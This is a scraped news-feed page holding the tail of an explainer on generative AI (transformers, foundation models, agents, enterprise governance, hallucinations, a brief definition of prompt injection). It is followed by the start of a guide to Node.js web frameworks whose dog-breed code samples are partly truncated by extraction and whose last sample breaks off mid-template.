<p class="wp-block-paragraph"><em>Generative AI</em> is different from <em>discriminative AI</em>, which draws distinctions between different kinds of input. Where discriminative AI answers questions like “Is this image of a rabbit or a lion?”, generative AI instead responds to prompts such as “Describe to me how a rabbit and lion look different from one another” or “Draw me a picture of a lion and a rabbit sitting next to each other” — and in both cases produces text or imagery that, while grounded in the AI’s training data, isn’t just a copy of something that already existed.</p>



<aside class="fakesidebar">
<h4>[ <u><a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">Read next: Large language models: The foundations of generative AI</a></u> ]</h4>
</aside>




<p class="wp-block-paragraph">Just a few years ago, generative AI was once a novelty focused on chatbots and artistic image generation. Today, it has become a core enterprise technology, and powers everything from content creation and software development to customer support and analytics workflows. But with that power comes a <a href="https://www.csoonline.com/article/4076511/4-factors-creating-bottlenecks-for-enterprise-genai-adoption.html">new set of challenges</a> — from model alignment and hallucination to governance and data-integration hurdles.</p>



<p class="wp-block-paragraph">In this article, we’ll look at how generative AI works, explore how it has evolved into the foundation-model era, examine how to implement it effectively, and offer best practices for getting value out of it, today and in the future.</p>



<h2 class="wp-block-heading"><strong>How does generative AI work?</strong></h2>



<p class="wp-block-paragraph">For decades, early artificial-intelligence efforts often focused on rule-based systems or <a href="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html">narrowly trained models</a> that were built for one task at a time. While these efforts produced useful systems that could reason and solve human tasks, they were generally a far cry from sci-fi visions of thinking machines. Programs that could talk to people never seemed to get very far past the level of <a href="https://en.wikipedia.org/wiki/ELIZA">ELIZA</a>, a “computer therapist” created at MIT in the mid 1960s; even Siri and Alexa after much fanfare were revealed to be fairly limited.</p>



<p class="wp-block-paragraph">The big structural shift that gave birth to modern generative AI came with the concept of a <em>transformer, </em>first introduced in “<a href="https://arxiv.org/abs/1706.03762">Attention Is All You Need</a>,” a 2017 paper from Google researchers.</p>



<p class="wp-block-paragraph">Using a transformer architecture as a basis, you can build a system that derives meaning from analyzing long sequences of input <em>tokens</em> (words, sub-words, bytes) to understand how different tokens might be related to one another, then determines how likely any given token is to come next in a sequence, given the others. In AI lingo, we call these systems <em>models.</em> Because a model analyzes very large datasets and parameter counts, it can pick up on statistical patterns and knowledge implicitly embedded in the data.</p>



<p class="wp-block-paragraph">This is all easier said than done. The process of adjusting a model’s internal parameters so it gets better at predicting the next token in sequences is called <em>training</em>. During training, the model repeatedly guesses the next token in a given sequence, compares its prediction to the actual one, measures the error, and updates its parameters to reduce that error across billions of examples. Over time, that process teaches the model the statistical relationships that will allow it to generate coherent language (or code, or images) later.</p>



<h2 class="wp-block-heading"><strong>What is a foundation model?</strong></h2>



<p class="wp-block-paragraph">You’ll often hear the word <em>large</em> used for transformer-based models of these types, like the LLMs we mentioned earlier. <em>Large</em> in this context refers to the large number of internal numerical values that the model adjusts during training to represent what it has learned, along with breadth and diversity of data used to train the model and the underlying compute resources powering this whole process.</p>



<p class="wp-block-paragraph">This is in contrast with the narrow models of the earlier era of AI/ML, which werebuilt for one purpose and trained on a limited dataset. For instance, a spam filter may be very good at what it does, but it’s only trained on email data and all it can do is classify emails. Large models, by contrast, serve as what’s known as <em>foundation models</em>. They’re trained broadly on diverse data (text, code, images, or multimodal data) and then adapted or specialized for many downstream tasks.</p>



<p class="wp-block-paragraph">These foundation models are the basis for most of the popular generative AI tools and services on the market today. They can be specialized in several ways:</p>



<ul class="wp-block-list">
<li><strong>Fine-tuning:</strong> Giving a foundation model further training on a smaller, task-specific dataset</li>



<li><strong>Retrieval-augmented generation</strong> <strong>(RAG):</strong> Giving the model the ability to pull in external knowledge when asked a question</li>



<li> <strong>Prompt engineering</strong>: Tailoring a query so the model gives the sort of answers you’re looking for.</li>
</ul>



<h2 class="wp-block-heading"><strong>How do AI systems write computer code?</strong></h2>



<p class="wp-block-paragraph">One of the surprising discoveries of the gen AI era was that in recent years was that foundation models trained on natural-language text can also, when fine-tuned with code examples, also write computer code — often better than many purpose-built systems. Still, it makes sense, when you think about it — after all, high-level computer languages are designed by humans and ultimately based on human language.</p>



<p class="wp-block-paragraph">This <a href="https://www.infoworld.com/article/2338500/llms-and-the-rise-of-the-ai-code-generators.html?utm_source=chatgpt.com">2023 InfoWorld article</a> highlights how models like PaLM, LLaMA and other transformer-based systems fine-tuned on code repositories propelled this shift, but since AI giants like <a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">OpenAI</a> have moved into this space. This all matters because code generation (or code-assisted productivity) has become a key enterprise use case of generative AI — perhaps <em>the </em>key use, given the industry’s enthusiastic adoption of it.</p>



<h2 class="wp-block-heading"><strong>What are AI agents?</strong></h2>



<p class="wp-block-paragraph">So far, we’ve been talking about chatbots, writing assistants, image-generation tools. They respond to prompts, output text or images, and then stop. A new category of tool called <em><a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">agentic AI</a></em> goes further: it <em>plans</em>, <em>executes</em>, and in many cases <em>learns</em> as it works.</p>



<p class="wp-block-paragraph">Because large models already understand language, code, and even structured data to some extent, they can be repurposed to generate not only descriptive text but <em>operational instructions</em>. For example: an agent might parse the intent “generate a sales-report”, then format internal calls like getData(salesDB, region=NA, period=lastQuarter), and then call an API, all by generating text that’s interpreted as instructions. The <a href="https://www.infoworld.com/article/4064169/how-mcp-is-making-ai-agents-actually-do-things-in-the-real-world.html.">MCP framework</a> standardizes the “language” of those instructions and the plug-points into tools and data so that the model doesn’t need bespoke integrations for each new workflow.</p>



<p class="wp-block-paragraph">These kinds of autonomous agents have several enterprise use cases:</p>



<ul class="wp-block-list">
<li><strong>Software automation</strong>: Agents that generate code, call unit tests, deploy builds, monitor logs and even roll back changes autonomously.</li>



<li><strong>Customer support</strong>: Instead of simply drafting responses, agents interact with CRM APIs, update ticket statuses, escalate issues, and trigger follow-up workflows.</li>



<li><strong>IT operations/AIOps</strong>: Agents <a href="https://www.cio.com/article/222623/7-things-to-know-about-ai-in-the-data-center.html">monitor infrastructure, identify anomalies, open/close tickets, or auto-remediate</a> based on defined rules and context from logs.</li>



<li><strong>Security</strong>: Agents may detect threats, initiate alerts, isolate compromised systems, or even attempt to manage threat containment — though this raises new risks.</li>
</ul>



<h2 class="wp-block-heading"><strong>How can you implement generative AI in the enterprise?</strong></h2>



<p class="wp-block-paragraph">We’ve now touched on <em>what</em> generative AI can do. But <em>how</em> can you make it work reliably in your business. The difference between a pilot and full-scale deployment often comes down to systems, structure and governance as much as to models themselves. <em>InfoWorld’</em>s Matt Asay offers a <a href="https://www.infoworld.com/article/4044919/enterprise-essentials-for-generative-ai.html">deep dive into enterprise gen AI essentials</a>, but here are some important points to keep in mind:</p>



<p class="wp-block-paragraph"><strong>Choosing between API, open-source or custom fine-tuned models. </strong>One of the first major decisions for any enterprise project is: do you use a model via an API (e.g., from a vendor like OpenAI or Anthropic), deploy an open-source model internally, or build/fine-tune a custom model yourself? Each has trade-offs.</p>



<p class="wp-block-paragraph">APIs offer speed and minimal setup, but may expose data, limit customization or accrue high cost — and will leave you at the mercy of your vendor. Open source allows internal control and may ease fine-tuning, but requires infrastructure, expertise, and support. Custom fine-tuning gives you the tightest alignment to your use-case, but lengthens time to value and increases risk.</p>



<p class="wp-block-paragraph"><strong>Governance, data privacy and compliance. </strong>Deploying generative AI in an enterprise setting raises new governance, privacy and regulatory issues. For example: Who owns the data that’s ingested? How is proprietary data protected if you call a third-party API? What traceability exists for model outputs—a huge question for regulated industries? One useful framework is covered in “A GRC framework for securing generative AI” Data governance <a href="https://www.infoworld.com/article/2336154/how-data-governance-must-evolve-to-meet-the-generative-ai-challenge.html">must adapt for the new era</a>,  and <a href="https://www.infoworld.com/article/3604732/a-grc-framework-for-securing-generative-ai.html">new frameworks are evolving to help</a>.</p>



<p class="wp-block-paragraph"><strong>Human-in-the-loop review. </strong>Even the best models make mistakes and cannot simply be put on autopilot. You need a <em>human-in-the-loop (HITL)</em> process: real people need to review outputs, validate for bias, approve high-stakes content, and tune prompts or models based on feedback. Incorporating HITL checkpoints helps mitigate risk and improve overall quality.</p>



<p class="wp-block-paragraph"><strong>Integration with existing systems and RAG pipelines. </strong><a href="https://www.infoworld.com/article/2337050/how-rag-completes-the-generative-ai-puzzle.html">Retrieval-augmented generation</a>, which we touched on earlier, connects foundation models into business workflows, systems, and enterprise data stores. RAG can bind LLMs to your organization’s internal knowledge bases, thereby reducing <em>hallucinations </em>(which we’ll discuss in a moment) and increasing the relevance of gen AI output.</p>



<aside class="sidebar">
<h3><strong> Implementation best practices for generative AI</strong></h3>
<p> Here are four AI best practices to keep in mind:</p>
<ol>
<li> Guardrails: Define clear operational boundaries. Examples: restrict sensitive data output, enforce access controls, log model interactions.</li>
<li> Prompt engineering: Because much of what the model will do depends on how it’s prompted, invest in prompt design, versioning, review, and testing.</li>
<li> Evaluation metrics: Define appropriate KPIs (accuracy, latency, cost, business outcome), monitor them and iterate.</li>
<li> Model observability: Treat generative-AI systems like software — monitor performance, detect drift, handle failures gracefully, audit outputs and maintain traceability.</li>
</ol>
</aside>




<h2 class="wp-block-heading"><strong>What causes AI hallucinations?</strong></h2>



<p class="wp-block-paragraph">Probably the biggest limitation of generative AI is what those in the industry call <em>hallucinations</em>, which is a perhaps misleading term for output that is, by the standards of humans who use it, false or incorrect.  </p>



<p class="wp-block-paragraph">Every generative AI system, no matter how advanced, is built around prediction. Remember, a model doesn’t truly <em>know</em> facts—it looks at a series of tokens, then calculates, based on analysis of its underlying training data, what token is most likely to come next. This is what makes the output fluent and human-like, but if its prediction is wrong, that will be perceived as a hallucination.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/GenAI_takeaways.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Table describing five key points about generatvie AI" class="wp-image-4082262" width="1024" height="648" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Generative AI, foundation models, agentic AI, governance, and implementation strategy top the list of top generative AI takeaways.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Because the model doesn’t distinguish between something that’s known to be true and something likely to follow on from the input text it’s been given, hallucinations are a direct side effect of the statistical process that powers generative AI. And don’t forget that we’re often pushing AI models to come up with answers to questions that we, who also have access to that data, can’t answer ourselves.</p>



<p class="wp-block-paragraph">In text models, hallucinations might mean inventing quotes, fabricating references, or misrepresenting a technical process. In code or data analysis, it can produce <a href="https://www.infoworld.com/article/3822251/how-to-keep-ai-hallucinations-out-of-your-code.html">syntactically correct but logically wrong results</a>. Even RAG pipelines, which provide real data context to models, only <em>reduce</em> hallucination—they don’t eliminate it. Enterprises using generative AI need <a href="https://www.cio.com/article/4073606/reducing-llm-hallucinations-in-enterprise-systems.html">review layers, validation pipelines, and human oversight</a> to prevent these failures from spreading into production systems.</p>



<h2 class="wp-block-heading"><strong>What are some other problems with generative AI?</strong></h2>



<p class="wp-block-paragraph">Generative AI has proven to be such a disruptive technology that’s stoking near-apocalyptic fears that it will result in a superintelligence that will enslave or destroy humanity. Meanwhile, in the present day, increasingly troubling reports of so-called <a href="https://www.psychologytoday.com/us/blog/urban-survival/202507/the-emerging-problem-of-ai-psychosis">AI psychosis</a> are emerging, where people have mental health episodes triggered by the uncanny and sometimes sycophantic ways chatbots affirm whatever you talk to them about and try to keep the conversation going.</p>



<p class="wp-block-paragraph">Compared to such existential questions, the following business-related problems may seem petty. But they’re real issues for enterprises considering investing in AI tools.</p>



<ul class="wp-block-list">
<li><strong>Data leakage and regulatory risk. </strong>When a model is fine-tuned or prompted with sensitive information, that data may be memorized and unintentionally reproduced. Using <a href="https://www.csoonline.com/article/3819170/nearly-10-of-employee-gen-ai-prompts-include-sensitive-data.html">third-party APIs without strict controls</a> can expose proprietary or personally identifiable information (PII). Regulatory frameworks like GDPR and HIPAA require explicit governance around where training data resides and how inference results are stored.</li>



<li><strong>Prompt injection </strong>occurs when an attacker manipulates a model’s instructions—embedding hidden directives or malicious payloads in user input or external content the model reads. This can override safety rules, expose internal data, or execute unintended actions in agentic systems. Guardrails that sanitize inputs, restrict tool-calling permissions, and validate outputs are becoming essential.</li>



<li><strong>Copyright and content ownership. </strong>Many foundation models are trained on data scraped from the public internet, creating disputes over copyright and data provenance. Enterprises using generated output commercially need to confirm usage rights and review indemnity terms from vendors.</li>



<li><strong>Unrealistic productivity expectations. </strong>Finally, organizations sometimes expect generative AI to deliver instant productivity gains. The reality, it turns out, is more <a href="https://leaddev.com/velocity/ai-doesnt-make-devs-as-productive-as-they-think-study-finds">mixed</a>. Enterprise adoption requires infrastructure, governance, retraining, and cultural change. The models accelerate work once properly integrated, but they don’t automatically replace human judgment or oversight.</li>
</ul>



<p class="wp-block-paragraph">The current generation of enterprise AI systems includes several layers of defense against these risks:</p>



<ul class="wp-block-list">
<li><em>Guardrails</em> that constrain model behavior and filter unsafe outputs.</li>



<li><em>Model validation</em> frameworks that measure factual accuracy and consistency before deployment.</li>



<li><em>Policy layers</em> that enforce compliance rules, redact sensitive data, and log model actions.</li>
</ul>



<p class="wp-block-paragraph">These safeguards reduce—but don’t remove—the inherent uncertainty that defines generative AI.</p>



<h2 class="wp-block-heading"><strong>GenAI: essential for the enterprise</strong></h2>



<p class="wp-block-paragraph">Generative AI has evolved from a novelty into a core layer of enterprise technology. Foundation models and agentic systems now power automation, analytics, and creative workflows — but they remain fundamentally probabilistic tools. Their strength lies in scale and adaptability, not perfect understanding.</p>



<p class="wp-block-paragraph">For organizations, success depends less on chasing model breakthroughs than on integrating these systems responsibly: building guardrails, maintaining oversight, and aligning them with real business needs. Used wisely, generative AI can amplify human capability rather than replace it.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The complete guide to Node.js frameworks]]></title>
<description><![CDATA[Node.js is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.



This article is a qui...]]></description>
<link>https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.</p>



<p class="wp-block-paragraph">This article is a quick tour of the most popular web frameworks for <a href="https://www.infoworld.com/article/2257958/nodejs-tutorial-get-started-with-nodejs.html">server development on Node.js</a>. We’ll look at minimalist tools like Express.js, batteries-included frameworks like Nest.js, and full-stack frameworks like Next.js. You’ll get an overview of the frameworks and a taste of what it’s like to write a simple server application in each one.</p>



<h2 class="wp-block-heading">Minimalist web frameworks</h2>



<p class="wp-block-paragraph">When it comes to Node web frameworks, <em>minimalist</em> doesn’t mean limited. Instead, these frameworks provide the essential features required to do the job for which they are intended. The frameworks in this list also tend to be highly extensible, so you can customize them as needed. With minimalist frameworks, pluggable extensibility is the name of the game.</p>



<h3 class="wp-block-heading">Express.js</h3>



<p class="wp-block-paragraph">At over 47 million weekly downloads on npm, Express is one of the most-installed software packages of all time—and for good reason. Express gives you basic web endpoint routing and request-and-response handling inside an extensible framework that is easy to understand. Most other frameworks in this category have adopted the basic style of describing a route from Express. This framework is the obvious choice when you simply need to create some routes for HTTP, and you don’t mind a DIY approach for anything extra.</p>



<p class="wp-block-paragraph">Despite its simplicity, Express is fully-featured when it comes to things like route parameters and request handling. Here is a simple Express endpoint that returns a dog breed based on an ID:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

// In-memory array of dog breeds
const dogBreeds = [
  "Shih Tzu",
  "Great Pyrenees",
  "Tibetan Mastiff",
  "Australian Shepherd"
];
app.get('/dogs/:id', (req, res) =&gt; {
  // Convert the id from a string to an integer
  const id = parseInt(req.params.id, 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id  {
  console.log(`Server running at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">You can easily see how the route is defined here: a string representation of a URL, followed by a function that receives a request and response object. The process of creating the server and listening on a port is simple.</p>



<p class="wp-block-paragraph">If you are coming from a framework like Next, the biggest thing you might notice about Express is that it lacks a file-system based router. On the other hand, it offers a huge range of <a href="https://expressjs.com/en/resources/middleware.html">middleware plugins</a> to help with essential functions like security.</p>



<h3 class="wp-block-heading">Koa</h3>



<p class="wp-block-paragraph"><a href="https://koajs.com/">Koa</a> was created by the original creators of Espress, who took the lessons learned from that project and used them for a fresh take on the JavaScript server. Koa’s focus is providing a minimalist core engine. It uses <code>async</code>/<code>await</code> functions for middleware rather than chaining with <code>next()</code> calls. This can give you a cleaner server, especially when there are many plugins. It also makes the error handling less clunky for middleware.</p>



<p class="wp-block-paragraph">Koa also differs from Express by exposing a unified context object instead of separate request and response objects, which makes for a somewhat less cluttered API. Here is how Koa manages the same route we created in Express:</p>



<pre class="wp-block-code"><code>router.get('/dogs/:id', (ctx) =&gt; {
  const id = parseInt(ctx.params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    ctx.status = 200;
    ctx.body = { breed: dogBreeds[id] };
  } else {
    ctx.status = 404;
    ctx.body = { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">The only real difference is the combined context object.</p>



<p class="wp-block-paragraph">Koa’s middleware mechanism is also worth a look. Here’s a simple logging plugin in Koa:</p>



<pre class="wp-block-code"><code>const logger = async (ctx, next) =&gt; {
  await next(); // This passes control to the router
  console.log(`${ctx.method} ${ctx.url} - ${ctx.status}`);
};

// Use the logger middleware for all requests
app.use(logger);	</code></pre>



<h3 class="wp-block-heading">Fastify</h3>



<p class="wp-block-paragraph"><a href="https://fastify.dev/">Fastify</a> lets you define schemas for your APIs. This is an up-front, formal mechanism for describing what the server supports:</p>



<pre class="wp-block-code"><code>const schema = {
  params: {
    type: 'object',
    properties: {
      id: { type: 'integer' }
    }
  },
  response: {
    200: {
      type: 'object',
      properties: {
        breed: { type: 'string' }
      }
    },
    404: {
      type: 'object',
      properties: {
        error: { type: 'string' }
      }
    }
  }
};

fastify.get('/dogs/:id', { schema }, (request, reply) =&gt; {
  const id = request.params.id;

  if (id &gt;= 0 &amp;&amp; id  {
  if (err) {
    fastify.log.error(err);
    process.exit(1);
  }
  console.log(`Server running at ${address}`);
});</code></pre>



<p class="wp-block-paragraph">From this example, you can see the actual endpoint definition is similar to Express and Koa, but we define a schema for the API. The schema is not strictly necessary; it is possible to define endpoints without it. In that case, Fastify behaves much like Express, but with superior performance.</p>



<h3 class="wp-block-heading">Hono</h3>



<p class="wp-block-paragraph"><a href="https://hono.dev/">Hono</a> emphasizes simplicity. You can define a server and endpoint with as little as:</p>



<pre class="wp-block-code"><code>const app = new Hono()
app.get('/', (c) =&gt; c.text('Hello, Infoworld!'))  </code></pre>



<p class="wp-block-paragraph">And here’s how our dog breed example looks:</p>



<pre class="wp-block-code"><code>app.get('/dogs/:id', (c) =&gt; {
  // Get the id parameter from the request URL
  const id = parseInt(c.req.param('id'), 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // Return a JSON response with a 200 OK status (default)
    return c.json({ breed: dogBreeds[id] });
  } else {
    // Set status to 404 and return a JSON error message
    c.status(404);
    return c.json({ error: 'Dog breed not found' });
  }
});</code></pre>



<p class="wp-block-paragraph">As you can see, Hono provides a unified context object, similar to Koa.</p>



<h3 class="wp-block-heading">Nitro.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Nitro</a> is the back end for several full-stack frameworks, including Nuxt.js. As part of the UnJS ecosystem, Nitro goes further than Express in providing cloud-native tooling support. It includes a universal storage adapter and deployment support for serverless and cloud deployment targets.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Intro to Nitro: The server engine built for modern JavaScript</a>.</strong></p>



<p class="wp-block-paragraph">Like Next.js, Nitro uses filesystem-based routing, so our Dog Finder API would exist at the following filepath:</p>



<pre class="wp-block-code"><code>/api/dogs/:id</code></pre>



<p class="wp-block-paragraph">The handler might look like this:</p>



<pre class="wp-block-code"><code>export default defineEventHandler((event) =&gt; {
  // Get the dynamic parameter from the event context
  const { id } = getRouterParams(event);
  const parsedId = parseInt(id, 10);

  // Check if the id is a valid number and within the array bounds
  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // Nitro handles JSON serialization
    return { breed: dogBreeds[parsedId] };
  } else {
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Nitro inhabits the middle ground between a pure tool like Express and a full-blown stack, which is why full-stack front ends often use Nitro on the back end.</p>



<h2 class="wp-block-heading">Batteries-included frameworks</h2>



<p class="wp-block-paragraph">Although Express and other minimalist frameworks set the standard for simplicity, more opinionated frameworks can be useful if you want additional features out of the box.</p>



<h3 class="wp-block-heading">Nest.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Nest</a> is a progressive framework built with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> from the ground up. Nest is actually a layer on top of Express (or Fastify), with additional services. It is inspired by Angular and incorporates the kind of architectural support found there. In particular, it includes dependency injection. Nest also uses annotated controllers for endpoints.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Intro to Nest.js: Server-side JavaScript development on Node</a>.</strong></p>



<p class="wp-block-paragraph">Here is an example of injecting a dog finder provider into a controller:</p>



<pre class="wp-block-code"><code>// The provider:
import { Injectable, NotFoundException } from '@nestjs/common';

// The @Injectable() decorator marks this class as a provider.
@Injectable()
export class DogsService {
  private readonly dogBreeds = [
    "Shih Tzu",
    "Great Pyrenees",
    "Tibetan Mastiff",
    "Australian Shepherd"
  ];

  findOne(id: number) {
    if (id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      return { breed: this.dogBreeds[id] };
    }
    // NestJS has built-in HTTP exception classes for common errors.
    throw new NotFoundException('Dog breed not found');
  }
}

// The controller

import { Controller, Get, Param, ParseIntPipe } from '@nestjs/common';
import { DogsService } from './dogs.service';

@Controller('dogs')
export class DogsController {
  // NestJS injects the DogsService through the constructor.
  // The 'private readonly' syntax is a TypeScript shorthand
  // to both declare and initialize the dogsService member.
  constructor(private readonly dogsService: DogsService) {}

  @Get(':id')
  findOneDog(@Param('id', ParseIntPipe) id: number) {
    // We can now use the service's methods. The ParseIntPipe
    // automatically converts the string URL parameter to a number.
    return this.dogsService.findOne(id);
  }
}</code></pre>



<p class="wp-block-paragraph">This style is typical of dependency injection frameworks like <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Angular</a>, as well as <a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a>. It allows you to declare components as injectable, then consume them anywhere you need them.</p>



<p class="wp-block-paragraph">In Nest, we’d just add these as modules to make them live.</p>



<h3 class="wp-block-heading">Adonis.js</h3>



<p class="wp-block-paragraph">Like Nest, <a href="https://adonisjs.com/">Adonis</a> provides a controller layer that you wire together with routes. Adonis is inspired by the model-view-controller (MVC) pattern, so it also includes a layer for modelling data and accessing stores via an ORM. Finally, it provides a validator layer for ensuring data meets requirements.</p>



<p class="wp-block-paragraph">Routes in Adonis are very simple:</p>



<pre class="wp-block-code"><code>Route.get('/dogs/:id', [DogsController, 'show'])</code></pre>



<p class="wp-block-paragraph">In this case, <code>DogsController</code> would be the handler for the route, and might look something like:</p>



<pre class="wp-block-code"><code>import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'  // Note, ioc means inversion of control, similar to dependency injection

export default class DogsController {
  // The 'show' method handles the logic for the route
  public async show({ params, response }: HttpContextContract) {
    const id = Number(params.id);

    // Check if the id is a valid number and within the array bounds
    if (!isNaN(id) &amp;&amp; id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      // Use the response object to send a 200 OK JSON response
      return response.ok({ breed: this.dogBreeds[id] });
    } else {
      // Send a 404 Not Found response
      return response.notFound({ error: 'Dog breed not found' });
    }
  }
}</code></pre>



<p class="wp-block-paragraph">Of course, in a real application, we could define a model layer to handle the actual data access.</p>



<h3 class="wp-block-heading">Sails</h3>



<p class="wp-block-paragraph"><a href="https://sailsjs.com/">Sails</a> is another MVC-style framework. It is one of the original one-stop-shopping frameworks for Node and includes an ORM layer (<a href="https://sailsjs.com/documentation/reference/waterline-orm">Waterline</a>), API generation (<a href="https://sailsjs.com/documentation/reference/blueprint-api">Blueprints</a>), and realtime support, including <a href="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html" data-type="link" data-id="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html">WebSockets</a>.</p>



<p class="wp-block-paragraph">Sails strives for conventional operation. For example, here’s how you might define a simple model for dogs:</p>



<pre class="wp-block-code"><code>/**
 * Dog.js
 *
 * @description :: A model definition represents a database table/collection.
 * @docs        :: https://sailsjs.com/docs/concepts/models
 */
module.exports = {
  attributes: {
    breed: { type: 'string', required: true },
  },
};</code></pre>



<p class="wp-block-paragraph">If you run this in Sails, the framework will generate default routes and wire up a <a href="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html" data-type="link" data-id="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html">NoSQL</a> or SQL datastore based on your configuration. Sails also provides the option to override these defaults and add in your own custom logic.</p>



<h2 class="wp-block-heading">Full-stack frameworks</h2>



<p class="wp-block-paragraph">Also known as <a href="https://www.infoworld.com/article/3486850/state-of-javascript-insights-from-the-latest-javascript-community-survey.html">meta-frameworks</a>, these tools combine a front-end framework with a solid back end and various CLI niceties like build chains.</p>



<h3 class="wp-block-heading">Next.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4078213/next-js-16-features-explicit-caching-ai-powered-debugging.html">Next</a> is a React-based framework built by Vercel. It is largely responsible for the huge growth in popularity of these types of frameworks. Next was the first framework to bring together back-end API definitions with the front end that consumes them. It also introduced file-system routing. In Next and other full-stack frameworks, you get both parts of your stack in one place and you can run them together during development.</p>



<p class="wp-block-paragraph">In Next, we could define a route at <code>pages/api/dogs/[id].js</code> like so:</p>



<pre class="wp-block-code"><code>export default function handler(req, res) {
  // `req.query.id` comes from the dynamic filename [id].js
  const { id } = req.query;
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // If the ID is valid, return the data
    res.status(200).json({ breed: dogBreeds[parsedId] });
  } else {
    // Otherwise, return a 404 error
    res.status(404).json({ error: 'Dog breed not found' });
  }
}</code></pre>



<p class="wp-block-paragraph">We’d then define the UI component to interact with this route at <code>pages/dogs/[id].js</code>:</p>



<pre class="wp-block-code"><code>import React from 'react';

// This is the React component that renders the page.
// It receives the `dog` object as a prop from getServerSideProps.
function DogPage({ dog }) {
  // Handle the case where the dog wasn't found
  if (!dog) {
    return <h1>Dog Breed Not Found</h1>;
  }

  return (
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{dog.breed}</strong></p>
    </div>
  );
}

// This function runs on the server before the page is sent to the browser.
export async function getServerSideProps(context) {
  const { id } = context.params; // Get the ID from the URL

  // Fetch data from our own API route on the server.
  const res = await fetch(`http://localhost:3000/api/dogs/${id}`);
  
  // If the fetch was successful, parse the JSON.
  const dog = res.ok ? await res.json() : null;

  // Pass the fetched data to the DogPage component as props.
  return {
    props: {
      dog,
    },
  };
}

export default DogPage;</code></pre>



<h3 class="wp-block-heading">Nuxt.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4025936/nuxt-4-0-improves-project-organization-data-fetching-typescript-support.html">Nuxt</a> is the same idea as Next, but applied to the <a href="http://vue.js/">Vue</a> front end. The basic pattern is the same, though. First, we’d define a back-end route:</p>



<pre class="wp-block-code"><code>// server/api/dogs/[id].js

// defineEventHandler is Nuxt's helper for creating API handlers.
export default defineEventHandler((event) =&gt; {
  // Nuxt automatically parses route parameters.
  const id = getRouterParam(event, 'id');
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    return { breed: dogBreeds[parsedId] };
  } else {
    // Helper to set the status code and return an error.
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Then, we’d create the UI file in Vue:</p>



<pre class="wp-block-code"><code>// pages/dogs/[id].vue


  <div>
    <div>
      Loading...
    </div>
    <div>
      <h1>{{ error.data.error }}</h1>
